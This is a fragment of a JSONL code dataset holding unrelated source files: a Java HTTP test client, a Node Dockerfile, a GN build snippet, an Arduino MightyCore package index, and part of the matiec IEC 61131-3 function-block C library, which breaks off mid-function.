stat.printSummary(TEST_NAME);\n }\n\n public void doTest() {\n try { \n invoke();\n } catch (Exception ex) {\n System.out.println(TEST_NAME + \" test failed\");\n stat.addStatus(TEST_NAME, stat.FAIL);\n ex.printStackTrace();\n }\n }\n\n private void invoke() throws Exception {\n \n String url = \"http://\" + host + \":\" + port + contextRoot\n + \"/myurl\";\n System.out.println(\"opening connection to \" + url);\n HttpURLConnection conn = (HttpURLConnection)\n (new URL(url)).openConnection();\n\n int code = conn.getResponseCode();\n if (code != 200) {\n System.out.println(\"Unexpected return code: \" + code);\n stat.addStatus(TEST_NAME, stat.FAIL);\n } else {\n InputStream is = null;\n BufferedReader input = null;\n String line = null;\n try {\n is = conn.getInputStream();\n input = new BufferedReader(new InputStreamReader(is));\n line = input.readLine();\n System.out.println(\"line = \" + line);\n } finally {\n try {\n if (is != null) {\n is.close();\n }\n } catch(IOException ioe) {\n // ignore\n }\n try {\n if (input != null) {\n input.close();\n }\n } catch(IOException ioe) {\n // ignore\n }\n }\n if (EXPECTED_RESPONSE.equals(line)) {\n stat.addStatus(TEST_NAME, stat.PASS);\n } else {\n System.out.println(\"Wrong response. Expected: \" + \n EXPECTED_RESPONSE + \", received: \" + line);\n stat.addStatus(TEST_NAME, stat.FAIL);\n }\n } \n }\n}\n"} +{"text": "FROM node:11.6-alpine\n\nRUN apk update\nRUN apk add g++ make python\n\nWORKDIR /app\nCOPY ./server/package.json ./server/package-lock.json ./\nRUN npm install\n\nADD ./server /app\n\nEXPOSE 3000/tcp\nCMD npm run start\n"} +{"text": "if (true) {\n args += [ \"--template\" ] +\n rebase_path(remoting_webapp_template_files, template_rel_dir)\n args += [ \"--dir-for-templates\",\n rebase_path(template_rel_dir, root_build_dir) ]\n args += [\"--js\"] + rebase_path(remoting_webapp_main_html_js_files, template_rel_dir_and_some_more)\n}\n"} +{"text": "\n\nwriting-modes and logical props: tr\n\n\n\n\n\n\n\n\n

    Test passes if there is a horizontal green stripe below and no red.\n

    \n
     
    \n\n"} +{"text": "{\n \"packages\": [\n {\n \"name\": \"MightyCore\",\n \"maintainer\": \"MCUdude\",\n \"websiteURL\": \"https://github.com/MCUdude/MightyCore\",\n \"email\": \"\",\n \"help\": {\n \"online\": \"http://forum.arduino.cc/index.php?topic=379427\"\n },\n \"platforms\": [\n {\n \"name\": \"MightyCore\",\n \"architecture\": \"avr\",\n \"version\": \"1.0.0\",\n \"category\": \"Contributed\",\n \"url\": \"https://MCUdude.github.io/MightyCore/MightyCore-1.0.0.tar.gz\",\n \"archiveFileName\": \"MightyCore-1.0.0.tar.gz\",\n \"checksum\": \"SHA-256:283b442209cef5406bc7c21074664e1b2783d9b5997f50b3195a5c6cd0ee4de5\",\n \"size\": \"306232\",\n \"boards\": [\n {\"name\": \"ATmega1284p\"},\n {\"name\": \"ATmega644p\"},\n {\"name\": \"ATmega324p\"},\n {\"name\": \"ATmega164p\"},\n {\"name\": \"ATmega32\"},\n {\"name\": \"ATmega16\"},\n {\"name\": \"ATmega8535\"}\n ],\n \"toolsDependencies\": []\n },\n {\n \"name\": \"MightyCore\",\n \"architecture\": \"avr\",\n \"version\": \"1.0.1\",\n \"category\": \"Contributed\",\n \"url\": \"https://MCUdude.github.io/MightyCore/MightyCore-1.0.1.tar.gz\",\n \"archiveFileName\": \"MightyCore-1.0.1.tar.gz\",\n \"checksum\": \"SHA-256:999905c879d35ad8036fad976e7cccc84b7b68e4d7f3ca11e1ead5b23b1c8409\",\n \"size\": \"310170\",\n \"boards\": [\n {\"name\": \"ATmega1284/P\"},\n {\"name\": \"ATmega644/P/PA/A\"},\n {\"name\": \"ATmega324P/PA/A\"},\n {\"name\": \"ATmega164P/PA/A\"},\n {\"name\": \"ATmega32\"},\n {\"name\": \"ATmega16\"},\n {\"name\": \"ATmega8535\"}\n ],\n \"toolsDependencies\": []\n },\n {\n \"name\": \"MightyCore\",\n \"architecture\": \"avr\",\n \"version\": \"1.0.2\",\n \"category\": \"Contributed\",\n \"url\": \"https://MCUdude.github.io/MightyCore/MightyCore-1.0.2.tar.gz\",\n \"archiveFileName\": \"MightyCore-1.0.2.tar.gz\",\n \"checksum\": \"SHA-256:fbbb6d5f150edc71fc7d55550f066defeb3505bc19992c69d61b46b0e8462387\",\n \"size\": \"267338\",\n \"boards\": [\n {\"name\": \"ATmega1284/P\"},\n {\"name\": \"ATmega644/P/PA/A\"},\n {\"name\": \"ATmega324P/PA/A\"},\n {\"name\": \"ATmega164P/PA/A\"},\n {\"name\": \"ATmega32\"},\n {\"name\": \"ATmega16\"},\n {\"name\": \"ATmega8535\"}\n ],\n \"toolsDependencies\": []\n },\n {\n \"name\": \"MightyCore\",\n \"architecture\": \"avr\",\n \"version\": \"1.0.3-r1\",\n \"category\": \"Contributed\",\n \"url\": \"https://MCUdude.github.io/MightyCore/MightyCore-1.0.3r1.tar.gz\",\n \"archiveFileName\": \"MightyCore-1.0.3r1.tar.gz\",\n \"checksum\": \"SHA-256:b5e759273e63b1b415c9c3412a568f10657b12db25cd1b26d02cc43c676c03db\",\n \"size\": \"271214\",\n \"boards\": [\n {\"name\": \"ATmega1284/P\"},\n {\"name\": \"ATmega644/P/PA/A\"},\n {\"name\": \"ATmega324P/PA/A\"},\n {\"name\": \"ATmega164P/PA/A\"},\n {\"name\": \"ATmega32\"},\n {\"name\": \"ATmega16\"},\n {\"name\": \"ATmega8535\"}\n ],\n \"toolsDependencies\": []\n },\n {\n \"name\": \"MightyCore\",\n \"architecture\": \"avr\",\n \"version\": \"1.0.4\",\n \"category\": \"Contributed\",\n \"url\": \"https://MCUdude.github.io/MightyCore/MightyCore-1.0.4.tar.gz\",\n \"archiveFileName\": \"MightyCore-1.0.4.tar.gz\",\n \"checksum\": \"SHA-256:64e64091cb823823cbe90ccd251b1150e22e8546489dc460e41c2d73a44bc347\",\n \"size\": \"271238\",\n \"boards\": [\n {\"name\": \"ATmega1284/P\"},\n {\"name\": \"ATmega644/P/PA/A\"},\n {\"name\": \"ATmega324P/PA/A\"},\n {\"name\": \"ATmega164P/PA/A\"},\n {\"name\": \"ATmega32\"},\n {\"name\": \"ATmega16\"},\n {\"name\": \"ATmega8535\"}\n ],\n \"toolsDependencies\": []\n },\n {\n \"name\": \"MightyCore\",\n \"architecture\": \"avr\",\n \"version\": \"1.0.5\",\n \"category\": \"Contributed\",\n \"url\": \"https://MCUdude.github.io/MightyCore/MightyCore-1.0.5.tar.gz\",\n \"archiveFileName\": \"MightyCore-1.0.5.tar.gz\",\n \"checksum\": \"SHA-256:c3c82e0be56bd5cd745b2b5300937f4135f2be59b49d5203e6fce33bd81a184a\",\n \"size\": \"339295\",\n \"boards\": [\n {\"name\": \"ATmega1284/P\"},\n {\"name\": \"ATmega644/P/PA/A\"},\n {\"name\": \"ATmega324P/PA/A\"},\n {\"name\": \"ATmega164P/PA/A\"},\n {\"name\": \"ATmega32\"},\n {\"name\": \"ATmega16\"},\n {\"name\": \"ATmega8535\"}\n ],\n \"toolsDependencies\": []\n },\n {\n \"name\": \"MightyCore\",\n \"architecture\": \"avr\",\n \"version\": \"1.0.6\",\n \"category\": \"Contributed\",\n \"url\": \"https://MCUdude.github.io/MightyCore/MightyCore-1.0.6.tar.gz\",\n \"archiveFileName\": \"MightyCore-1.0.6.tar.gz\",\n \"checksum\": \"SHA-256:d85d26335782f5511a63a0b4ea62ae34517ed513599213674a531e5f1a7ec0ca\",\n \"size\": \"310812\",\n \"boards\": [\n {\"name\": \"ATmega1284/P\"},\n {\"name\": \"ATmega644/P/PA/A\"},\n {\"name\": \"ATmega324P/PA/A\"},\n {\"name\": \"ATmega164P/PA/A\"},\n {\"name\": \"ATmega32\"},\n {\"name\": \"ATmega16\"},\n {\"name\": \"ATmega8535\"}\n ],\n \"toolsDependencies\": []\n },\n {\n \"name\": \"MightyCore\",\n \"architecture\": \"avr\",\n \"version\": \"1.0.7\",\n \"category\": \"Contributed\",\n \"url\": \"https://MCUdude.github.io/MightyCore/MightyCore-1.0.7.tar.gz\",\n \"archiveFileName\": \"MightyCore-1.0.7.tar.gz\",\n \"checksum\": \"SHA-256:9f05e8c930246bc75e161c4002173b7e0b4ad8ad661549674f8fe550dadc16ed\",\n \"size\": \"322325\",\n \"boards\": [\n {\"name\": \"ATmega1284/P\"},\n {\"name\": \"ATmega644/P/PA/A\"},\n {\"name\": \"ATmega324P/PA/A\"},\n {\"name\": \"ATmega164P/PA/A\"},\n {\"name\": \"ATmega32\"},\n {\"name\": \"ATmega16\"},\n {\"name\": \"ATmega8535\"}\n ],\n \"toolsDependencies\": []\n },\n {\n \"name\": \"MightyCore\",\n \"architecture\": \"avr\",\n \"version\": \"1.0.8\",\n \"category\": \"Contributed\",\n \"url\": \"https://MCUdude.github.io/MightyCore/MightyCore-1.0.8.tar.bz2\",\n \"archiveFileName\": \"MightyCore-1.0.8.tar.bz2\",\n \"checksum\": \"SHA-256:fefd0e0220c13b948c53c0957d8343b10502b774d8d1c95a30da03de0b6ee112\",\n \"size\": \"299204\",\n \"boards\": [\n {\"name\": \"ATmega1284/P\"},\n {\"name\": \"ATmega644/P/PA/A\"},\n {\"name\": \"ATmega324P/PA/A\"},\n {\"name\": \"ATmega164P/PA/A\"},\n {\"name\": \"ATmega32\"},\n {\"name\": \"ATmega16\"},\n {\"name\": \"ATmega8535\"}\n ],\n \"toolsDependencies\": []\n },\n {\n \"name\": \"MightyCore\",\n \"architecture\": \"avr\",\n \"version\": \"2.0.0\",\n \"category\": \"Contributed\",\n \"url\": \"https://MCUdude.github.io/MightyCore/MightyCore-2.0.0.tar.bz2\",\n \"archiveFileName\": \"MightyCore-2.0.0.tar.bz2\",\n \"checksum\": \"SHA-256:b184c104ab024c96398900e65f5094ac6b201cc227ca8f266cfccc6f7ab0cef3\",\n \"size\": \"323530\",\n \"boards\": [\n {\"name\": \"ATmega1284/P\"},\n {\"name\": \"ATmega644/P/PA/A\"},\n {\"name\": \"ATmega324P/PA/A\"},\n {\"name\": \"ATmega164P/PA/A\"},\n {\"name\": \"ATmega32\"},\n {\"name\": \"ATmega16\"},\n {\"name\": \"ATmega8535\"}\n ],\n \"toolsDependencies\": []\n },\n {\n \"name\": \"MightyCore\",\n \"architecture\": \"avr\",\n \"version\": \"2.0.1\",\n \"category\": \"Contributed\",\n \"url\": \"https://MCUdude.github.io/MightyCore/MightyCore-2.0.1.tar.bz2\",\n \"archiveFileName\": \"MightyCore-2.0.1.tar.bz2\",\n \"checksum\": \"SHA-256:83cb044c4819c6da16867dc5f223f4abcb0aa1287a6b0d5acb43d5e153845aa6\",\n \"size\": \"387729\",\n \"boards\": [\n {\"name\": \"ATmega1284/P\"},\n {\"name\": \"ATmega644/P/PA/A\"},\n {\"name\": \"ATmega324P/PA/A/PB\"},\n {\"name\": \"ATmega164P/PA/A\"},\n {\"name\": \"ATmega32\"},\n {\"name\": \"ATmega16\"},\n {\"name\": \"ATmega8535\"}\n ],\n \"toolsDependencies\": []\n }\n ],\n \"tools\": []\n }\n ]\n}\n"} +{"text": "\n\n/****\n * IEC 61131-3 standard function block library\n */\n\n/* NOTE: The code in this file was generated by iec2c (i.e. matiec C compiler), using as source\n * the *.txt files in the 'lib' directory.\n * The only 'manual' change was:\n * - to merge the generated .h and .c files into this single file\n * - to remove the forward declarations of the functions\n * - to change the function prototypes to become 'static'.\n * e.g.: static void R_TRIG_init__(...)\n * ^^^^^^\n * \n * NOTE: If the structure of the C code generated by iec2c (matiec) should change, then this C 'library'\n * file will need to be recompiled. \n * The correct way of going about this would be to have this file be automatically generated during\n * the build process (i.e. after compiling matiec), but we will leave this for later if it ever\n * becomes necessary.\n * \n * WARNING: There are 2 versions of this file:\n * - file: iec_std_FB.h\n * Version to be used when the EN and ENO parameters are implicitly generated\n * for all functions and function blocks\n * - file: iec_std_FB_no_ENENO.h\n * Version to be used when the EN and ENO parameters are NOT implicitly generated\n * for all functions and function blocks\n */\n\n#ifndef _IEC_STD_FB_H\n#define _IEC_STD_FB_H\n\n\n#include \"accessor.h\"\n\n\n// FUNCTION_BLOCK R_TRIG\n// Data part\ntypedef struct {\n // FB Interface - IN, OUT, IN_OUT variables\n __DECLARE_VAR(BOOL,CLK)\n __DECLARE_VAR(BOOL,Q)\n\n // FB private variables - TEMP, private and located variables\n __DECLARE_VAR(BOOL,M)\n\n} R_TRIG;\n\n// FUNCTION_BLOCK F_TRIG\n// Data part\ntypedef struct {\n // FB Interface - IN, OUT, IN_OUT variables\n __DECLARE_VAR(BOOL,CLK)\n __DECLARE_VAR(BOOL,Q)\n\n // FB private variables - TEMP, private and located variables\n __DECLARE_VAR(BOOL,M)\n\n} F_TRIG;\n\n// FUNCTION_BLOCK SR\n// Data part\ntypedef struct {\n // FB Interface - IN, OUT, IN_OUT variables\n __DECLARE_VAR(BOOL,S1)\n __DECLARE_VAR(BOOL,R)\n __DECLARE_VAR(BOOL,Q1)\n\n // FB private variables - TEMP, private and located variables\n\n} SR;\n\n// FUNCTION_BLOCK RS\n// Data part\ntypedef struct {\n // FB Interface - IN, OUT, IN_OUT variables\n __DECLARE_VAR(BOOL,S)\n __DECLARE_VAR(BOOL,R1)\n __DECLARE_VAR(BOOL,Q1)\n\n // FB private variables - TEMP, private and located variables\n\n} RS;\n\n// FUNCTION_BLOCK CTU\n// Data part\ntypedef struct {\n // FB Interface - IN, OUT, IN_OUT variables\n __DECLARE_VAR(BOOL,CU)\n __DECLARE_VAR(BOOL,R)\n __DECLARE_VAR(INT,PV)\n __DECLARE_VAR(BOOL,Q)\n __DECLARE_VAR(INT,CV)\n\n // FB private variables - TEMP, private and located variables\n R_TRIG CU_T;\n\n} CTU;\n\n// FUNCTION_BLOCK CTU_DINT\n// Data part\ntypedef struct {\n // FB Interface - IN, OUT, IN_OUT variables\n __DECLARE_VAR(BOOL,CU)\n __DECLARE_VAR(BOOL,R)\n __DECLARE_VAR(DINT,PV)\n __DECLARE_VAR(BOOL,Q)\n __DECLARE_VAR(DINT,CV)\n\n // FB private variables - TEMP, private and located variables\n R_TRIG CU_T;\n\n} CTU_DINT;\n\n// FUNCTION_BLOCK CTU_LINT\n// Data part\ntypedef struct {\n // FB Interface - IN, OUT, IN_OUT variables\n __DECLARE_VAR(BOOL,CU)\n __DECLARE_VAR(BOOL,R)\n __DECLARE_VAR(LINT,PV)\n __DECLARE_VAR(BOOL,Q)\n __DECLARE_VAR(LINT,CV)\n\n // FB private variables - TEMP, private and located variables\n R_TRIG CU_T;\n\n} CTU_LINT;\n\n// FUNCTION_BLOCK CTU_UDINT\n// Data part\ntypedef struct {\n // FB Interface - IN, OUT, IN_OUT variables\n __DECLARE_VAR(BOOL,CU)\n __DECLARE_VAR(BOOL,R)\n __DECLARE_VAR(UDINT,PV)\n __DECLARE_VAR(BOOL,Q)\n __DECLARE_VAR(UDINT,CV)\n\n // FB private variables - TEMP, private and located variables\n R_TRIG CU_T;\n\n} CTU_UDINT;\n\n// FUNCTION_BLOCK CTU_ULINT\n// Data part\ntypedef struct {\n // FB Interface - IN, OUT, IN_OUT variables\n __DECLARE_VAR(BOOL,CU)\n __DECLARE_VAR(BOOL,R)\n __DECLARE_VAR(ULINT,PV)\n __DECLARE_VAR(BOOL,Q)\n __DECLARE_VAR(ULINT,CV)\n\n // FB private variables - TEMP, private and located variables\n R_TRIG CU_T;\n\n} CTU_ULINT;\n\n// FUNCTION_BLOCK CTD\n// Data part\ntypedef struct {\n // FB Interface - IN, OUT, IN_OUT variables\n __DECLARE_VAR(BOOL,CD)\n __DECLARE_VAR(BOOL,LD)\n __DECLARE_VAR(INT,PV)\n __DECLARE_VAR(BOOL,Q)\n __DECLARE_VAR(INT,CV)\n\n // FB private variables - TEMP, private and located variables\n R_TRIG CD_T;\n\n} CTD;\n\n// FUNCTION_BLOCK CTD_DINT\n// Data part\ntypedef struct {\n // FB Interface - IN, OUT, IN_OUT variables\n __DECLARE_VAR(BOOL,CD)\n __DECLARE_VAR(BOOL,LD)\n __DECLARE_VAR(DINT,PV)\n __DECLARE_VAR(BOOL,Q)\n __DECLARE_VAR(DINT,CV)\n\n // FB private variables - TEMP, private and located variables\n R_TRIG CD_T;\n\n} CTD_DINT;\n\n// FUNCTION_BLOCK CTD_LINT\n// Data part\ntypedef struct {\n // FB Interface - IN, OUT, IN_OUT variables\n __DECLARE_VAR(BOOL,CD)\n __DECLARE_VAR(BOOL,LD)\n __DECLARE_VAR(LINT,PV)\n __DECLARE_VAR(BOOL,Q)\n __DECLARE_VAR(LINT,CV)\n\n // FB private variables - TEMP, private and located variables\n R_TRIG CD_T;\n\n} CTD_LINT;\n\n// FUNCTION_BLOCK CTD_UDINT\n// Data part\ntypedef struct {\n // FB Interface - IN, OUT, IN_OUT variables\n __DECLARE_VAR(BOOL,CD)\n __DECLARE_VAR(BOOL,LD)\n __DECLARE_VAR(UDINT,PV)\n __DECLARE_VAR(BOOL,Q)\n __DECLARE_VAR(UDINT,CV)\n\n // FB private variables - TEMP, private and located variables\n R_TRIG CD_T;\n\n} CTD_UDINT;\n\n// FUNCTION_BLOCK CTD_ULINT\n// Data part\ntypedef struct {\n // FB Interface - IN, OUT, IN_OUT variables\n __DECLARE_VAR(BOOL,CD)\n __DECLARE_VAR(BOOL,LD)\n __DECLARE_VAR(ULINT,PV)\n __DECLARE_VAR(BOOL,Q)\n __DECLARE_VAR(ULINT,CV)\n\n // FB private variables - TEMP, private and located variables\n R_TRIG CD_T;\n\n} CTD_ULINT;\n\n// FUNCTION_BLOCK CTUD\n// Data part\ntypedef struct {\n // FB Interface - IN, OUT, IN_OUT variables\n __DECLARE_VAR(BOOL,CU)\n __DECLARE_VAR(BOOL,CD)\n __DECLARE_VAR(BOOL,R)\n __DECLARE_VAR(BOOL,LD)\n __DECLARE_VAR(INT,PV)\n __DECLARE_VAR(BOOL,QU)\n __DECLARE_VAR(BOOL,QD)\n __DECLARE_VAR(INT,CV)\n\n // FB private variables - TEMP, private and located variables\n R_TRIG CD_T;\n R_TRIG CU_T;\n\n} CTUD;\n\n// FUNCTION_BLOCK CTUD_DINT\n// Data part\ntypedef struct {\n // FB Interface - IN, OUT, IN_OUT variables\n __DECLARE_VAR(BOOL,CU)\n __DECLARE_VAR(BOOL,CD)\n __DECLARE_VAR(BOOL,R)\n __DECLARE_VAR(BOOL,LD)\n __DECLARE_VAR(DINT,PV)\n __DECLARE_VAR(BOOL,QU)\n __DECLARE_VAR(BOOL,QD)\n __DECLARE_VAR(DINT,CV)\n\n // FB private variables - TEMP, private and located variables\n R_TRIG CD_T;\n R_TRIG CU_T;\n\n} CTUD_DINT;\n\n// FUNCTION_BLOCK CTUD_LINT\n// Data part\ntypedef struct {\n // FB Interface - IN, OUT, IN_OUT variables\n __DECLARE_VAR(BOOL,CU)\n __DECLARE_VAR(BOOL,CD)\n __DECLARE_VAR(BOOL,R)\n __DECLARE_VAR(BOOL,LD)\n __DECLARE_VAR(LINT,PV)\n __DECLARE_VAR(BOOL,QU)\n __DECLARE_VAR(BOOL,QD)\n __DECLARE_VAR(LINT,CV)\n\n // FB private variables - TEMP, private and located variables\n R_TRIG CD_T;\n R_TRIG CU_T;\n\n} CTUD_LINT;\n\n// FUNCTION_BLOCK CTUD_UDINT\n// Data part\ntypedef struct {\n // FB Interface - IN, OUT, IN_OUT variables\n __DECLARE_VAR(BOOL,CU)\n __DECLARE_VAR(BOOL,CD)\n __DECLARE_VAR(BOOL,R)\n __DECLARE_VAR(BOOL,LD)\n __DECLARE_VAR(UDINT,PV)\n __DECLARE_VAR(BOOL,QU)\n __DECLARE_VAR(BOOL,QD)\n __DECLARE_VAR(UDINT,CV)\n\n // FB private variables - TEMP, private and located variables\n R_TRIG CD_T;\n R_TRIG CU_T;\n\n} CTUD_UDINT;\n\n// FUNCTION_BLOCK CTUD_ULINT\n// Data part\ntypedef struct {\n // FB Interface - IN, OUT, IN_OUT variables\n __DECLARE_VAR(BOOL,CU)\n __DECLARE_VAR(BOOL,CD)\n __DECLARE_VAR(BOOL,R)\n __DECLARE_VAR(BOOL,LD)\n __DECLARE_VAR(ULINT,PV)\n __DECLARE_VAR(BOOL,QU)\n __DECLARE_VAR(BOOL,QD)\n __DECLARE_VAR(ULINT,CV)\n\n // FB private variables - TEMP, private and located variables\n R_TRIG CD_T;\n R_TRIG CU_T;\n\n} CTUD_ULINT;\n\n// FUNCTION_BLOCK TP\n// Data part\ntypedef struct {\n // FB Interface - IN, OUT, IN_OUT variables\n __DECLARE_VAR(BOOL,IN)\n __DECLARE_VAR(TIME,PT)\n __DECLARE_VAR(BOOL,Q)\n __DECLARE_VAR(TIME,ET)\n\n // FB private variables - TEMP, private and located variables\n __DECLARE_VAR(SINT,STATE)\n __DECLARE_VAR(BOOL,PREV_IN)\n __DECLARE_VAR(TIME,CURRENT_TIME)\n __DECLARE_VAR(TIME,START_TIME)\n\n} TP;\n\n// FUNCTION_BLOCK TON\n// Data part\ntypedef struct {\n // FB Interface - IN, OUT, IN_OUT variables\n __DECLARE_VAR(BOOL,IN)\n __DECLARE_VAR(TIME,PT)\n __DECLARE_VAR(BOOL,Q)\n __DECLARE_VAR(TIME,ET)\n\n // FB private variables - TEMP, private and located variables\n __DECLARE_VAR(SINT,STATE)\n __DECLARE_VAR(BOOL,PREV_IN)\n __DECLARE_VAR(TIME,CURRENT_TIME)\n __DECLARE_VAR(TIME,START_TIME)\n\n} TON;\n\n// FUNCTION_BLOCK TOF\n// Data part\ntypedef struct {\n // FB Interface - IN, OUT, IN_OUT variables\n __DECLARE_VAR(BOOL,IN)\n __DECLARE_VAR(TIME,PT)\n __DECLARE_VAR(BOOL,Q)\n __DECLARE_VAR(TIME,ET)\n\n // FB private variables - TEMP, private and located variables\n __DECLARE_VAR(SINT,STATE)\n __DECLARE_VAR(BOOL,PREV_IN)\n __DECLARE_VAR(TIME,CURRENT_TIME)\n __DECLARE_VAR(TIME,START_TIME)\n\n} TOF;\n\n// FUNCTION_BLOCK DERIVATIVE\n// Data part\ntypedef struct {\n // FB Interface - IN, OUT, IN_OUT variables\n __DECLARE_VAR(BOOL,RUN)\n __DECLARE_VAR(REAL,XIN)\n __DECLARE_VAR(TIME,CYCLE)\n __DECLARE_VAR(REAL,XOUT)\n\n // FB private variables - TEMP, private and located variables\n __DECLARE_VAR(REAL,X1)\n __DECLARE_VAR(REAL,X2)\n __DECLARE_VAR(REAL,X3)\n\n} DERIVATIVE;\n\n// FUNCTION_BLOCK HYSTERESIS\n// Data part\ntypedef struct {\n // FB Interface - IN, OUT, IN_OUT variables\n __DECLARE_VAR(REAL,XIN1)\n __DECLARE_VAR(REAL,XIN2)\n __DECLARE_VAR(REAL,EPS)\n __DECLARE_VAR(BOOL,Q)\n\n // FB private variables - TEMP, private and located variables\n\n} HYSTERESIS;\n\n// FUNCTION_BLOCK INTEGRAL\n// Data part\ntypedef struct {\n // FB Interface - IN, OUT, IN_OUT variables\n __DECLARE_VAR(BOOL,RUN)\n __DECLARE_VAR(BOOL,R1)\n __DECLARE_VAR(REAL,XIN)\n __DECLARE_VAR(REAL,X0)\n __DECLARE_VAR(TIME,CYCLE)\n __DECLARE_VAR(BOOL,Q)\n __DECLARE_VAR(REAL,XOUT)\n\n // FB private variables - TEMP, private and located variables\n\n} INTEGRAL;\n\n// FUNCTION_BLOCK PID\n// Data part\ntypedef struct {\n // FB Interface - IN, OUT, IN_OUT variables\n __DECLARE_VAR(BOOL,AUTO)\n __DECLARE_VAR(REAL,PV)\n __DECLARE_VAR(REAL,SP)\n __DECLARE_VAR(REAL,X0)\n __DECLARE_VAR(REAL,KP)\n __DECLARE_VAR(REAL,TR)\n __DECLARE_VAR(REAL,TD)\n __DECLARE_VAR(TIME,CYCLE)\n __DECLARE_VAR(REAL,XOUT)\n\n // FB private variables - TEMP, private and located variables\n __DECLARE_VAR(REAL,ERROR)\n INTEGRAL ITERM;\n DERIVATIVE DTERM;\n\n} PID;\n\n// FUNCTION_BLOCK RAMP\n// Data part\ntypedef struct {\n // FB Interface - IN, OUT, IN_OUT variables\n __DECLARE_VAR(BOOL,RUN)\n __DECLARE_VAR(REAL,X0)\n __DECLARE_VAR(REAL,X1)\n __DECLARE_VAR(TIME,TR)\n __DECLARE_VAR(TIME,CYCLE)\n __DECLARE_VAR(BOOL,BUSY)\n __DECLARE_VAR(REAL,XOUT)\n\n // FB private variables - TEMP, private and located variables\n __DECLARE_VAR(REAL,XI)\n __DECLARE_VAR(TIME,T)\n\n} RAMP;\n\n// FUNCTION_BLOCK RTC\n// Data part\ntypedef struct {\n // FB Interface - IN, OUT, IN_OUT variables\n __DECLARE_VAR(BOOL,IN)\n __DECLARE_VAR(DT,PDT)\n __DECLARE_VAR(BOOL,Q)\n __DECLARE_VAR(DT,CDT)\n\n // FB private variables - TEMP, private and located variables\n __DECLARE_VAR(BOOL,PREV_IN)\n __DECLARE_VAR(TIME,OFFSET)\n __DECLARE_VAR(DT,CURRENT_TIME)\n\n} RTC;\n\n// FUNCTION_BLOCK SEMA\n// Data part\ntypedef struct {\n // FB Interface - IN, OUT, IN_OUT variables\n __DECLARE_VAR(BOOL,CLAIM)\n __DECLARE_VAR(BOOL,RELEASE)\n __DECLARE_VAR(BOOL,BUSY)\n\n // FB private variables - TEMP, private and located variables\n __DECLARE_VAR(BOOL,Q_INTERNAL)\n\n} SEMA;\n\n\n\n\nstatic void R_TRIG_init__(R_TRIG *data__, BOOL retain) {\n __INIT_VAR(data__->CLK,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->Q,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->M,__BOOL_LITERAL(FALSE),1)\n}\n\n// Code part\nstatic void R_TRIG_body__(R_TRIG *data__) {\n// Initialise TEMP variables\n\n__SET_VAR(data__->,Q,,(__GET_VAR(data__->CLK,) && !(__GET_VAR(data__->M,))));\n__SET_VAR(data__->,M,,__GET_VAR(data__->CLK,));\n\ngoto __end;\n\n__end:\n return;\n} // R_TRIG_body__() \n\n\n\n\n\nstatic void F_TRIG_init__(F_TRIG *data__, BOOL retain) {\n __INIT_VAR(data__->CLK,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->Q,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->M,__BOOL_LITERAL(FALSE),1)\n}\n\n// Code part\nstatic void F_TRIG_body__(F_TRIG *data__) {\n// Initialise TEMP variables\n\n__SET_VAR(data__->,Q,,(!(__GET_VAR(data__->CLK,)) && !(__GET_VAR(data__->M,))));\n__SET_VAR(data__->,M,,!(__GET_VAR(data__->CLK,)));\n\ngoto __end;\n\n__end:\n return;\n} // F_TRIG_body__() \n\n\n\n\n\nstatic void SR_init__(SR *data__, BOOL retain) {\n __INIT_VAR(data__->S1,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->R,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->Q1,__BOOL_LITERAL(FALSE),retain)\n}\n\n// Code part\nstatic void SR_body__(SR *data__) {\n// Initialise TEMP variables\n\n__SET_VAR(data__->,Q1,,(__GET_VAR(data__->S1,) || (!(__GET_VAR(data__->R,)) && __GET_VAR(data__->Q1,))));\n\ngoto __end;\n\n__end:\n return;\n} // SR_body__() \n\n\n\n\n\nstatic void RS_init__(RS *data__, BOOL retain) {\n __INIT_VAR(data__->S,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->R1,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->Q1,__BOOL_LITERAL(FALSE),retain)\n}\n\n// Code part\nstatic void RS_body__(RS *data__) {\n// Initialise TEMP variables\n\n__SET_VAR(data__->,Q1,,(!(__GET_VAR(data__->R1,)) && (__GET_VAR(data__->S,) || __GET_VAR(data__->Q1,))));\n\ngoto __end;\n\n__end:\n return;\n} // RS_body__() \n\n\n\n\n\nstatic void CTU_init__(CTU *data__, BOOL retain) {\n __INIT_VAR(data__->CU,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->R,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->PV,0,retain)\n __INIT_VAR(data__->Q,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->CV,0,retain)\n R_TRIG_init__(&data__->CU_T,retain);\n}\n\n// Code part\nstatic void CTU_body__(CTU *data__) {\n// Initialise TEMP variables\n\n__SET_VAR(data__->CU_T.,CLK,,__GET_VAR(data__->CU,));\nR_TRIG_body__(&data__->CU_T);\nif (__GET_VAR(data__->R,)) {\n __SET_VAR(data__->,CV,,0);\n} else if ((__GET_VAR(data__->CU_T.Q,) && (__GET_VAR(data__->CV,) < __GET_VAR(data__->PV,)))) {\n __SET_VAR(data__->,CV,,(__GET_VAR(data__->CV,) + 1));\n};\n__SET_VAR(data__->,Q,,(__GET_VAR(data__->CV,) >= __GET_VAR(data__->PV,)));\n\ngoto __end;\n\n__end:\n return;\n} // CTU_body__() \n\n\n\n\n\nstatic void CTU_DINT_init__(CTU_DINT *data__, BOOL retain) {\n __INIT_VAR(data__->CU,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->R,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->PV,0,retain)\n __INIT_VAR(data__->Q,__BOOL_LITERAL(FALSE),retain)\n __INIT_VAR(data__->CV,0,retain)\n R_TRIG_init__(&data__->CU_T,retain);\n}\n\n// Code part\nstatic void CTU_DINT_body__(CTU_DINT *data__) {\n// Initialise TEMP variables\n\n__SET_VAR(data__->CU_T.,CLK,,__GET_VAR(data__->CU,));\nR_TRIG_body__(&data__->CU_T);\nif (__GET_VAR(data__->R,)) {\n __SET_VAR(data__->,CV,,0);\n} else if ((__GET_VAR(data__->CU_T.Q,) && (__GET_VAR(data__->CV,) < 